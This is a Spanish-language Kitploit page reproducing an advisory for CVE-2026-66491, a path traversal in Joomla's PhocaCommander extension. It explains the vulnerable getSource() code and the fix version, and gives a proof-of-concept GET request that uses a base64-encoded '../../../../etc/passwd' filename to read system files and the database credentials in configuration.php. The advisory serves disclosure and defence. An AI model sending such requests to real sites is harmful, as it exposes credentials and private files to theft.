Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66491 — La extensión de Joomla PhocaCommander es vulnerable a Path Traversal en la función getSource | Kitploit
Herramientas/GitHubGitHub/toanln-cov/cve-2026-66491
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubtoanln-cov/cve-2026-66491

CVE-2026-66491

La extensión de Joomla PhocaCommander es vulnerable a Path Traversal en la función getSource

Ver Repositorio
hace 12 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Lectura arbitraria de archivos mediante getSource() en PhocaCommander

PhocaCommander ≤ 6.1.3 — Path Traversal autenticado de administrador, sin CSRF requerido

CVE CVSS v4.0 CWE-22 Affected Researcher


RESUMEN

Existe una vulnerabilidad de lectura arbitraria de archivos en el endpoint del editor de archivos de PhocaCommander. La función getSource() decodifica un parámetro filename codificado en base64 y lo pasa directamente a file_get_contents() sin comprobación de contención de ruta. Un administrador autenticado puede leer cualquier archivo accesible para el proceso del servidor web, incluidos archivos fuera de la raíz web (webroot), simplemente enviando una solicitud GET. No se requiere token CSRF.

La explotación filtra las credenciales de la base de datos de Joomla y la clave secreta desde configuration.php, y puede leer archivos del sistema como /etc/passwd mediante secuencias de path traversal (p. ej. ../../../../etc/passwd).


VERSIONES AFECTADAS

COMPONENTEVULNERABLEPROBADO ENCORREGIDO
PhocaCommander1.0.0 – 6.1.3Joomla 5.4.7 + PhocaCommander 6.1.3 (PHP 8.2 / Apache)6.1.4

DETALLES DE LA VULNERABILIDAD

Autenticación requerida: Sesión de administrador (no se requiere token CSRF: solicitud GET)

Archivo: administrator/components/com_phocacommander/models/phocacommanderedit.php

Causa raíz

getSource() decodifica filename desde base64 y lo concatena directamente sobre JPATH_ROOT, y luego lee el archivo sin comprobación de contención:

PHOCACOMMANDEREDIT.PHP — CÓDIGO VULNERABLE

root@kitploit:~
public function getSource($fileName) {
    $fileName = base64_decode($fileName); // ← attacker-controlled
    $item = new stdClass;
    if (PhocaCommanderHelper::fileExists(JPATH_ROOT . '/' . $fileName)) {
        $item->source = file_get_contents(JPATH_ROOT . '/' . $fileName); // ← no containment check
    }
    return $item;
}

fileExists() usa is_file(Path::clean($file)). Path::clean() normaliza las barras pero no elimina las secuencias ../, por lo que los traversals escapan de la raíz web sin control.

El código contiene getContainedRealPath() en helpers/phocacommander.php, que realiza una contención adecuada basada en realpath(). Lo llaman save() y download(), pero nunca se añadió a getSource(). Además, el método edit() del controlador se despacha vía GET, por lo que las comprobaciones estándar de token CSRF no aplican; una cookie de sesión de administrador activa es suficiente para desencadenar lecturas arbitrarias de archivos.


PRUEBA DE CONCEPTO

Escenario 1 — Leer /etc/passwd mediante path traversal fuera de la raíz web

1. Inicie sesión en el panel de administración de Joomla

Autentíquese mediante la página de inicio de sesión de administrador para obtener una cookie de sesión válida. No se requieren privilegios adicionales más allá de una sesión de administrador estándar.

2. Leer /etc/passwd mediante path traversal: fuera de la raíz web

Envíe la siguiente solicitud GET con la ruta de traversal codificada en base64:

root@kitploit:~
GET /administrator/index.php?option=com_phocacommander&task=phocacommanderedit.edit&filename=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Cookie: [admin session]

filename decodificado: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../../etc/passwd

Ruta resuelta: /var/www/html/../../../../etc/passwd = /etc/passwd

El editor muestra el contenido completo de /etc/passwd, lo que confirma el acceso de lectura fuera de la raíz web.

SOLICITUD / RESPUESTA

Solicitud y respuesta de Burp Suite que muestran el contenido de /etc/passwd renderizado en el editor de Joomla


IMPACTO

  1. Divulgación de archivos del sistema — Las claves SSH y los archivos de configuración de aplicaciones co-alojadas son accesibles (si el proceso del servidor web puede leerlos)
  2. No se requiere interacción — El ataque es una única solicitud GET, sin token CSRF, sin envío de formularios ni interacción con la víctima
  3. Cadena de escalada de privilegios — La clave secreta filtrada permite forjar tokens de Joomla sin conexión, ampliando la superficie de ataque contra el sitio objetivo

REFERENCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66491
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66491
  • Repositorio del proveedor: https://github.com/PhocaDesign/PhocaCommander
Descargar herramienta